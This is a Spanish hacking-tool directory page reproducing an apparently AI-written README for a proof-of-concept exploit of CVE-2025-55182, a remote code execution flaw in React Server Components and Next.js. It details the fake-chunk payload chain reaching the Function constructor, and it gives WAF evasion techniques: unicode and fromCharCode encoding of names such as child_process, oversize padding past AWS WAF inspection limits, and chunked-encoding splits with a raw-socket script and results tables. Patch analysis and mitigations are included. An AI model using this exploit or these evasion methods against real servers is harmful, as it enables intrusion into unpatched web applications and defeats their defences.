Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/hulh122/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebEvasión de WAFAprendizaje y EducaciónDesarrollo de Payloads
GitHubhulh122/cve-2025-55182

CVE-2025-55182

Análisis técnico detallado y exploit de prueba de concepto para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código (RCE) en el Protocolo Flight de React. Cubre el path traversal, la inyección de chunks falsos y técnicas de evasión de WAF.

Ver Repositorio
2hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 - React Server Components RCE

NOTA: Escrito por IA/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 es una vulnerabilidad RCE crítica en el Protocolo Flight de React. El ataque encadena path traversal + inyección de chunks falsos + abuso del handler $B para ejecutar Function(attacker_code).

¡Muchas gracias a maple3142 por la cadena de explotación funcional!


El exploit

Resumen del ataque

El exploit usa tres campos de formulario para construir un payload malicioso:

  1. Crea un objeto de chunk falso con then autorreferencial (campo 1 $@0 → campo 0)
  2. Inserta un _response falso con _formData.get establecido en $1:constructor:constructor
  3. Desencadena el handler $B que llama a response._formData.get(response._prefix + id)
  4. El path traversal resuelve _formData.get → Function, ejecutando Function(code)

Flujo de explotación```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Componentes Clave

| Componente | Propósito |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable autorreferencial; el chunk 1 (`$@0`) apunta de vuelta al chunk 0 |
| `status: "resolved_model"` | Hace que el objeto parezca un chunk de React válido |
| `reason: -1` | Establece rootReference a undefined (evita conflictos de referencia) |
| `value: '{"then":"$B1337"}'` | Payload anidado que activa el manejador `$B` |
| `_response._prefix` | Contiene la cadena de código RCE |
| `_response._chunks: "$Q2"` | Mapa vacío para evitar bloqueos durante el procesamiento de chunks |
| `_response._formData.get` | Apunta a `Function` mediante `$1:constructor:constructor` |

### Análisis Detallado de Componentes

#### Estructura del Campo de Formulario

El exploit utiliza tres campos de formulario con referencias circulares:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

Thenable autorreferencial (then)

El then: "$1:__proto__:then" crea una autorreferencia que se resuelve a una función real:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

root@kitploit:~
**Por qué esto es crítico:**

1. `then` se resuelve a `Chunk.prototype.then` - una función llamable real
2. Esto hace que el objeto falso sea un thenable válido
3. Cuando se hace await, JS llama a `obj.then(resolve, reject)`
4. `Chunk.prototype.then` se ejecuta con el objeto falso como `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) utiliza this._response - el _response falso del atacante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
root@kitploit:~
**Sin la autorreferencia**, el `_response` falso nunca se usaría. La autorreferencia hace que `Chunk.prototype.then` trate el objeto del atacante como un Chunk real.

#### Disparador Thenable en Dos Etapas (`value`)

El campo `value` contiene una cadena JSON anidada con otro thenable:```json
{"then":"$B1337"}

Etapa 1: El then autorreferencial del objeto externo activa el procesamiento por fragmentos

Etapa 2: Cuando React resuelve el modelo, analiza value y se encuentra con otro thenable con then: "$B1337". El prefijo $B activa el manejador:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

root@kitploit:~
`_formData.get` es `"$1:constructor:constructor"` → `getOutlinedModel()` se resuelve a `Function`.

Esto se convierte en: `Function(code + "1337")` → JS válido porque `1337` es solo una expresión final.

#### Relleno defensivo (`_chunks`)

El `_response` falso necesita una propiedad `_chunks` válida para evitar bloqueos:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

El código interno de React puede acceder a response._chunks.get() o response._chunks.has() durante el procesamiento. Un Map vacío satisface estas llamadas sin errores, lo que permite que la ejecución alcance el controlador vulnerable $B.


Rutas de Código Vulnerables

decodeReply() es el punto de entrada, no vulnerable en sí misma.

Path Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

root@kitploit:~
**Uso de respuesta falsa** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

root@kitploit:~
---

## La corrección (19.2.1)

El parche incluye múltiples correcciones:

1. **`RESPONSE_SYMBOL` en `initializeModelChunk()`** - Corrección crítica   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);

   // AFTER: Symbol lookup (cannot be forged via JSON)
   var response = chunk.reason[RESPONSE_SYMBOL];
   value = reviveModel(response, ...);
  1. Verificación de hasOwnProperty en getOutlinedModel() - Bloquea el recorrido de prototipos ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
    root@kitploit:~
  2. Manejo de __proto__ en reviveModel() - Previene la contaminación de prototipos ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
    root@kitploit:~
  3. Verificación de tipos en initializeModelChunk() - Valida los oyentes ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
    root@kitploit:~

Impacto y versiones

Evaluación de impacto

CapacidadEstadoNotas
Recorrido de la cadena de prototipos

Versiones afectadas

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: Mismas versiones
  • Next.js: 15.x, 16.x (antes de los parches), versiones canary desde 14.3.0-canary.77+

Versiones corregidas

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Por qué falla la detección WAF basada en firmas

Esta sección explica por qué las reglas WAF tradicionales de coincidencia de patrones no pueden detectar de forma fiable este exploit. Comprender estas limitaciones es esencial para los equipos de seguridad que evalúan su postura defensiva.

El problema central: codificación en múltiples capas

El payload del exploit pasa por múltiples analizadores, cada uno con soporte de codificación diferente. Un WAF que inspecciona bytes HTTP crudos ve cadenas codificadas, pero el servidor las decodifica antes de procesarlas:

CapaAnalizadorDecodifica
Estructura JSON

Esto crea un desajuste fundamental: el WAF ve bytes codificados, pero la aplicación ve cadenas decodificadas.

Qué tendrían que coincidir las firmas

Un WAF ingenuo podría buscar patrones como constructor, __proto__, resolved_model o child_process. Sin embargo, JSON permite escapes unicode para cualquier carácter:

El código JavaScript dentro del payload tiene incluso más opciones de codificación:

Patrón

La brecha de detección

Cuando se combinan todas las técnicas de codificación:

  • Las claves JSON se convierten en secuencias unicode (\u0074\u0068\u0065\u006e para then)
  • Los identificadores JS se convierten en matrices numéricas (S(99,104,105,108,100,95,...) para child_process)
  • El payload bruto no contiene ninguna palabra clave reconocible

Un WAF que escanea el cuerpo HTTP solo ve secuencias de escape y números: nada que coincida con las firmas de ataque tradicionales.

Por qué esto importa para los defensores

  1. Las reglas basadas en firmas generan falsa confianza - El payload llega al servidor sin ser detectado
  2. La codificación es infinita - Cada carácter puede escaparse de forma diferente; las regex no pueden enumerar todas las variantes
  3. El ataque cumple con el protocolo - Todas las codificaciones son JSON/JavaScript válidos según la especificación

Consideraciones sobre la detección de cabeceras

La cabecera Next-Action identifica las peticiones de Server Actions. Aunque los nombres de cabecera no pueden codificarse en unicode (RFC 7230 exige tokens ASCII), las diferencias de normalización entre el WAF y el servidor crean brechas de detección:

Recomendaciones defensivas

Aplicar parches es la única mitigación fiable. Las reglas WAF no pueden bloquear de forma exhaustiva este ataque debido a la flexibilidad de codificación.

Versiones requeridas:

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Si el parcheo se retrasa, considera:

  1. Decodificar antes de buscar coincidencias - El WAF debe decodificar \uXXXX, \xXX y normalizar las llamadas a fromCharCode() antes de la coincidencia de patrones
  2. Detección estructural - Buscar estructuras JSON que contengan _response, _prefix, _chunks o referencias circulares ($@0)
  3. Normalización de cabeceras - Coincidir con la cabecera next-action sin distinguir mayúsculas de minúsculas y recortando espacios
  4. Bloquear Server Actions - Si no se utilizan Server Actions, bloquear por completo las peticiones con la cabecera Next-Action
  5. Monitorización en tiempo de ejecución - Alertar sobre llamadas a Function() con argumentos de cadena dinámicos

Conclusión clave: La coincidencia de patrones por sí sola fallará frente a esta clase de ataque. La superficie de codificación es demasiado extensa para enumerarla.


Bypass de los límites de inspección del cuerpo de AWS WAF

Incluso con reglas WAF exhaustivas, AWS WAF tiene límites de tamaño de inspección del cuerpo que pueden explotarse. Esta sección documenta técnicas de bypass probadas que utilizan payloads sobredimensionados.

Límites de inspección del cuerpo

AWS WAF solo inspecciona una parte del cuerpo de la petición:

BackendLímite predeterminadoMáximo configurable
ALB / AppSync8 KB8 KB
CloudFront / API Gateway16 KB64 KB
Amazon Cognito / App Runner16 KB64 KB

El problema de OversizeHandling

Las reglas WAF especifican cómo manejar las peticiones que superan los límites de inspección:

Si tu regla WAF usa OversizeHandling: CONTINUE (predeterminado común), el bypass es trivial.

Estrategia de bypass: relleno antes del payload

Coloca datos de relleno inofensivos antes del payload del exploit para que queden fuera de la ventana de inspección:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Resultados de las pruebas

Todos los payloads de gran tamaño lograron RCE en Next.js:

| Tamaño de relleno | Cuerpo total | Desplazamiento del exploit | Resultado |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |

### Omisión de codificación de transferencia fragmentada

La codificación de transferencia fragmentada de HTTP/1.1 divide el cuerpo en fragmentos discretos. Si el WAF inspecciona los fragmentos **antes** del reensamblaje, los patrones que cruzan los límites de los fragmentos no coincidirán.

#### Cómo funciona```
HTTP Request with Transfer-Encoding: chunked

17f\r\n                           ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n                            ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n                         ← Terminator

Patrón dividido en fragmentos:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

root@kitploit:~
#### Chunking Strategies Tested

| Estrategia | Descripción | Resultado |
|----------|-------------|--------|
| Dividir en `$@` | `"$` \| `@0"` | ✅ RCE |
| Fragmentos de 10 bytes | Cuerpo dividido cada 10 bytes | ✅ RCE |
| Fragmentos de 5 bytes | Cuerpo dividido cada 5 bytes | ✅ RCE |
| Dividir en `status` | `sta` \| `tus` | ✅ RCE |

Todas las estrategias lograron RCE con éxito - Next.js reensambla correctamente las solicitudes fragmentadas.

#### Ejemplo de Raw Socket```javascript
const net = require('net');
const socket = new net.Socket();

socket.connect(3000, 'localhost', () => {
  // Headers with chunked encoding
  socket.write([
    'POST / HTTP/1.1',
    'Host: localhost:3000',
    'Content-Type: multipart/form-data; boundary=----WebKit',
    'Transfer-Encoding: chunked',
    'Next-Action: test',
    '', ''
  ].join('\r\n'));

  // Chunk 1: everything up to and including "$
  const chunk1 = '...payload ending with "$';
  socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);

  // Chunk 2: "@0" and rest of payload
  const chunk2 = '@0"\r\n...rest of payload';
  socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);

  // Terminator
  socket.write('0\r\n\r\n');
});

Consideraciones sobre el comportamiento de los WAF

Nota: AWS WAF normalmente reensambla los cuerpos fragmentados antes de la inspección. Sin embargo, esto debe verificarse en cada entorno, ya que las configuraciones varían.

Recomendaciones de mitigación

  1. Cambie OversizeHandling a MATCH ```json "OversizeHandling": "MATCH"
    root@kitploit:~

Esto bloquea cualquier solicitud que supere el límite de inspección cuando se cumplen las condiciones de la regla.

  1. Aumentar el límite de inspección del cuerpo (solo CloudFront/API Gateway) Configura hasta 64KB en los ajustes de la ACL web, pero esto no previene completamente el bypass.

  2. Agregar regla de bloqueo basada en tamaño Bloquear solicitudes POST con cabecera Next-Action que superen un tamaño razonable (p. ej., 10KB).

  3. Parchear la aplicación - La única solución completa.

Scripts de Prueba

Consulte los scripts de prueba incluidos:

  • test-simple.cjs - Prueba de carga útil no fragmentada de referencia
  • test-oversize.cjs - Prueba tamaños de relleno de 0 a 128KB
  • test-chunked-v2.cjs - Codificación de transferencia fragmentada con división $@
  • test-chunked-bypass.cjs - Múltiples estrategias de fragmentación (5 bytes, 10 bytes, divisiones por patrón)

Uso:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

root@kitploit:~
---

## Viaje de Investigación

### La Vulnerabilidad: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];

  // PATH TRAVERSAL - no hasOwnProperty check!
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!

  return map(response, parentObject);
}

Con el payload "$1:constructor:constructor":

  1. chunk[1]["constructor"] → [Function: Object]
  2. Object["constructor"] → [Function: Function]

Rutas Bloqueadas que Probamos

Si bien obtuvimos Function, lograr RCE requiere invocarla con argumentos controlados. Estas rutas fallaron:

1. Ruta Thenable (Bloqueada)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

root@kitploit:~
**2. decodeAction Path (Bloqueado)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body

3. Ruta del Iterador (Bloqueada)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

root@kitploit:~
### El avance

maple3142 encontró la pieza que faltaba: el manejador `$B` + la cadena de `_response` falsa. Al hacer que `then` resuelva a `Chunk.prototype.then` mediante auto-referencia, la `_response` falsa se utiliza, lo que permite RCE.

---

## Hallazgos clave

1. **La vulnerabilidad de `getOutlinedModel()` es real** - Las rutas separadas por dos puntos permiten la recorrida de la cadena de prototipos

2. **El constructor de Function es accesible** - `$1:constructor:constructor` funciona sin serverManifest

3. **RCE es alcanzable** - Al crear un chunk falso con `_response` controlada:
   - La auto-referencia `$1:__proto__:then` → `Chunk.prototype.then` hace que la `_response` falsa se utilice
   - La estructura del chunk falso imita la clase Chunk interna de React
   - `_response._formData.get` → constructor de `Function`
   - `_response._prefix` → cadena de código malicioso
   - El manejador `$B` dispara `Function(malicious_code)`

4. **La corrección es integral** - Múltiples comprobaciones de `hasOwnProperty` y validaciones de tipo

---

## Referencias

- [El Gist de maple3142](https://gist.github.com/maple3142) - Descubrimiento de la cadena de RCE
- [Aviso de seguridad de React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC de msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Regla de AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)

---

## Descargo de responsabilidad

Este repositorio es solo para **investigación educativa y de seguridad defensiva**. La vulnerabilidad ha sido parcheada. Actualiza tus dependencias de inmediato.
Descargar herramienta
PathFunctionPurpose in Exploit
Path TraversalgetOutlinedModel()Resuelve $1:constructor:constructor → Function
Inyección de _response falsoinitializeModelChunk()Utiliza el chunk._response del atacante
Manejador $BparseModelString()Llama a _formData.get(_prefix + id) → RCE
✓ Confirmado
Vía $1:constructor:constructor
Acceso al constructor de Function✓ ConfirmadoNo se necesita manifiesto
RCE completa✓ ConfirmadoMediante chunk falso + manejador $B
JSON.parse()
escapes unicode \uXXXX
Código JavaScriptConstructor Function()\uXXXX, \xXX, octal, fromCharCode()
Patrón literalEquivalente UnicodeDetección WAF
constructor\u0063onstructorEvadido
__proto__\u005f\u005fproto\u005f\u005fEvadido
resolved_model\u0072esolved_modelEvadido
$@ (ref. circular)$\u0040Evadido
Opciones de codificación
process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
child_process\x63hild_process, códigos de carácter numéricos, base64
Cualquier identificadorNotación de corchetes: this[S(112,114,...)] donde S=String.fromCharCode
VarianteComportamiento del servidorRiesgo WAF
next-action (minúsculas)Aceptado (HTTP no distingue mayúsculas de minúsculas)Se pierde si el WAF espera una capitalización exacta
Next-Action:\tx (tabulación)Aceptado (espacios normalizados)Se pierde si el WAF espera un espacio
Next-Action: x (espacios)AceptadoSe pierde sin normalización
ConfiguraciónComportamiento¿Explotable?
CONTINUEInspecciona los bytes disponibles, evalúa la reglaSí - el payload después del límite no se inspecciona
MATCHTratar como coincidente (bloquear)No - bloquea peticiones sobredimensionadas
NO_MATCHTratar como no coincidenteSí - pasa
Tipo de WAFManejo de fragmentos¿Bypass posible?
AWS WAF (ALB)Reensambla antes de la inspecciónPoco probable
AWS WAF (CloudFront)Reensambla antes de la inspecciónPoco probable
Algunos WAF heredadosInspecciona por fragmentoSí
Nginx ModSecurityConfigurableDepende de la configuración